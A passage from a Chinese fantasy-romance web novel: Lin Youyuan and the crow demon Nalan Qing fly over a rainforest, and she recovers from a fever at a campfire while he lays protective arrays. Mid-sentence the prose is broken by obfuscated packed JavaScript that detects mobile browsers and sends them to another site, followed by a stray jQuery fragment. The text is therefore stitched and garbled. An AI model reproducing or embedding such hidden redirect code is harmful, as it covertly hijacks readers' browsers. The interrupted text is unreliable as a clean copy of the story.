“这地儿怎么那么多蚊子?”林佑圆挥手驱赶着周围萦绕的蚊虫,面露嫌弃。
纳兰清周围很是清爽,蚊虫似乎认准了林佑圆,林佑圆只得不停释放灵力护体。
见蚊虫们都往她这边聚集,林佑圆奇怪道:“你是不是私藏了什么驱蚊药?”
“我是妖。”
哈哈,对哦。
她时常忘记纳兰清是只乌鸦的事实。
纳兰清咬破指尖,血珠沁出修长的手指,他随手一弹,林佑圆的眉间就有了一道和他一样的印记。
两人相应一点红,眉间藏着一轮落日。
林佑圆捂住额头,“你瞎弹什么?”
纳兰清眼中毫无情绪,“妖血,驱蚊。”
林佑圆想起前世的科普——人类的血液是最脏的液体。
她急忙放下手,手掌伸出,一滴血不沾。
纳兰清晃着高马尾从她身边掠过,“出了雨林,蚊虫便不多了。”
林佑圆步履匆匆跟上去,“走慢点。”
这人的腿很长还能飞,一步当她两步,林佑圆有时都怀疑他步子迈那么大是不是要去备战竞走。
纳兰清闻言脚步渐缓,“照这个速度我们天黑之前出不了这雨林。”
刚刚用过大型传送阵,林佑圆不可能再用了,而今只有人力。
“不如...你带我飞?”林佑圆忽然说道。
纳兰清的翅膀似乎除了给她挡太阳,她还没见他用过。
他顿了顿,仰望着四周的环境,树木虽高但树冠之间并不是亲密无间,有飞行的条件。
林佑圆见老板停下了,还以为老板嫌麻烦,忙道:“走也行,就是我走不了那么快,没办法。”
一阵强风卷起,纳兰清背后伸出一双翅膀,那对翅膀遮蔽住了林佑圆,在周身投下一片阴影。
羽翼通体黑色,被阳光照到的羽毛反射出彩虹的光芒,林佑圆的眼底涌起雀跃,“你这翅膀帅呆了老板。”
“老板?”
“我陪你去日月潭,你给我神器作为报酬,那不就是雇佣关系吗?这不是重点,快带我飞!”林佑圆道。
她的手已经跃跃欲试想去摸纳兰清的翅膀。
纳兰清身姿灵活躲开她的手,“没见过你这么嚣张的小工。”
“因为我没拿到实际好处,嘻嘻,所以你要怎么带我飞?”林佑圆好奇地环绕他一圈。
如果是背的话,他翅膀似乎扇不起来吧?
纳兰清单手搂住她的腰,双翼腾空而起,林佑圆双手急忙抓住他的衣袖,强迫自己抬头往前看。
“你飞的时候打个招呼好吗?”
这样升天很突然。
“下次。”纳兰清俯瞰不死林,寻找着能暂时落脚的地界。
他飞起来很稳,林佑圆被风吹得头疼,昏昏欲睡。
纳兰清的颈窝是不是被林佑圆的发丝擦过,他低头,见林佑圆眼睛半闭不比,放缓了速度。
纳兰清从储物间拿出一件白狐皮斗篷,那斗篷整一张洁白无瑕,圈住了林佑圆。
他用手隔着斗篷压住林佑圆的腰,让斗篷能更好地与林佑圆贴着。
林佑圆混沌中感到四肢涌起了暖意,原本只是头脑发昏,在这温暖的围剿下直接坠入了梦乡。
等她再度醒来,周围很是空旷。
纯粹一片干净又萌生着生机的翠绿,这是一片草地,但他们所处的地界是秃的,边缘陡峭,应当不是人为。
身旁的纳兰清正百无聊赖地用树枝挑着火堆,火堆发出噼里啪啦的响声,纳兰清听到动静扔过去一瓶丹药,林佑圆眼疾手快地接住。
“反应力不错。”纳兰清淡淡道,“喝下去,丹露有助于退烧。”
林佑圆用拇指撬开瓶口一口饮尽。
“这东西怎么是酸的?”林佑圆的嗓音因为发烧而沙哑,她小声问道。
“嗯?”纳兰清扔下树枝走过去,弯腰拿过丹药瓶,翻过底仔细查看。
“哦,这是我改良过的,往里头加了一点亢奋的药草。”纳兰清将丹药瓶塞入衣袖中,假装无事发生。
林佑圆站起身揪住他衣领使劲摇晃,“下次给我喂药前能不能看着点!”
某男子并没有理由反抗,遂任由林佑圆将他摇晃均匀。
夜间露水重,林佑圆不自觉凑近火堆,火堆燃起的火焰是绚丽的紫红色花火。
底下的木头早已就黑成了煤矿里的煤,她转头盯着在旁手抵着头休憩的纳兰清。
“你这烧的不会是你的魔火吧?”按道理而言他和她在一起,纳兰清的打火机不应该被没收吗?
“啊,这个啊,因为你昏迷了,所以我短暂恢复了一些,不死林较为寒湿,所以我便生火了。”
“灭掉。”林佑圆平静道,“你这样很浪费魔力知道吗?”
纳兰清挑眉,“魔火又不是什么好东西。”
“那是自保的手段你不要拿着来生活好吗?”林佑圆面带和谐的微笑,眼中带着警告。
纳兰清沉默着伸出手掌,柴火堆的火化为一道红光钻入纳兰清眉间的朱砂痣中。
“你这火怎么往你脑壳中间收?”
脑子不带痛的哇?往常不都往手里收吗?
“方便。”
林佑圆没再理他,掏出自己的古法打火机,“下次我要是没意识或者在睡觉,你觉得冷就从我储物囊里掏这个火折子。”
翠绿色的竹筒上带着些许的黑色痕迹,可见主人经常使用。
纳兰清将手收拢在袖中,看着林佑圆升火。
少女的腮帮子鼓起气,把火折子靠近才熄灭的炭火堆,塌着腰不停地吹着火折子上的引子,黑炭火堆燃起的点点红星飞舞,不一会儿,一簇红色的火焰在黑柴上跳起。
“看,很简单吧。”林佑圆收起火折子,语重心长地教育着“败家子”。
“不要老是想着什么都用魔力或者灵力,能省点力那就省点,打架要用的。”
纳兰清问道:“我们约莫要在不死林驻扎一段时日,若不靠灵力和魔力免不了吃一番身体苦,你确定?”
“那也没办法啊,该吃就吃呗。”林佑圆道。
“就当锻炼体力。”眼下她的基础并不牢固,不死林不确定有没有危险,若是遇到某些实力强悍的,到时候力气全部浪费在生活上,遇见敌人只能死翘翘,那又有什么用。
“如你所言。”纳兰清不再质疑。
他似乎总是容易小看林佑圆,在他的设想里,林佑圆应当会选择更为轻松的方
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16674436|188676||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
式去生活,却不想她又一次告诉他,他错了。
她总是这样,游离于他的假设和想象外。
有时粗糙,有时却很敏感。
粗糙的时候可以忽略掉他的恶意,敏感的时候能注意到他的生活习性。
他从未向任何人透露过他怕冷,包括他相处百年的徒弟们,林佑圆却能在短短的时光里知晓他的弱点。
纳兰清眼神游移在忙碌的林佑圆身上,他从储物囊中召出辟邪,转身往深林里走,“我去砍些柴火。”
林佑圆朝他的背影挥挥手,“注意安全,不要离太远!”
说罢她又蹲着继续搅弄着火堆,试图让氧气和火焰接触充足燃得更旺些。
“知道了。”纳兰清扛着辟邪小声应答道。
风中好像传来什么声音,也好像什么都没有。
林佑圆晃了晃脑袋,兴许是自己刚退烧,脑子不清晰幻听了。
烤了一会火,身子暖和了,林佑圆拖着斗篷蹲坐在火堆旁,从储物囊中掏出自己辛辛苦苦做的笔记以及各类乱七八糟的符咒速记书,开始默默背诵研究起来。
研究符文一开始是一个很艰难的过程,就好像刚刚开始学透视那样。
但一旦学会了用得多熟练了,即使没有参考凭空她也能在脑子里想象出那些物体的透视该是什么样的。
如今研究符文,没有纳兰清画的基础摆阵类型她也能熟练的画出自己需要的阵,甚至还将纳兰清研发的黄梁梦也背了下来。
黄粱梦融合了幻阵和杀阵,两者契合间的符文反复,花了她好长好长的时间。
阵法看得差不多了,她吸了吸鼻子,从身边堆叠的书籍又抽出一本身法基础教学。
燃烧的火堆旁,林佑圆努力背诵着那些身法与步法,也许是精神不济,林佑圆看了没一会儿就开始打哈欠。
眼前的视线逐渐模糊,她的头一点一点的,像是打点计时器,不自觉眼前昏黑。
纳兰清背着一堆木柴回来的时候,林佑圆已经发出连续且微弱的呼吸声了。
他放慢了脚步,缓缓将柴火加入火柴堆中。
纳兰清知道林佑圆睡眠很浅,所以那丹露中也含有些许安神成分,不足以让她安睡一整夜,但足以叫她更轻易入睡。
也许是生病了,林佑圆睡得很沉,纳兰清轻手轻脚添完柴火后便离开了此处,在几里外布下防护阵——用的是林佑圆画给他的符咒。
他们要在这个地方待一段时日,这些时间内,最好弄一个安身之处。
不死林每到九月就会生出瘴气迷惑穿梭不死林的旅人,可以说,九月的不死林就是一个天然的黄粱梦。
但这并非全无破解之法,不死林有五个中心点瘴气相对较少,他们处于最外围的一个。
若要穿过不死林,最优解是等九月过去。
纳兰清当时创造黄粱梦时也有参考不死林的特质,因而九月期间最好不要轻举妄动。
能安稳待在一处,那便先待在原地为妙。
林佑圆精神不好,是以纳兰清没有和她说明这些,等林佑圆好些了,他再说也不迟。
最后一个小阵法布完,纳兰清展开翅膀飞回驻扎地,那些设下的小阵法在原地亮起微弱的红光,仿佛在警告着什么。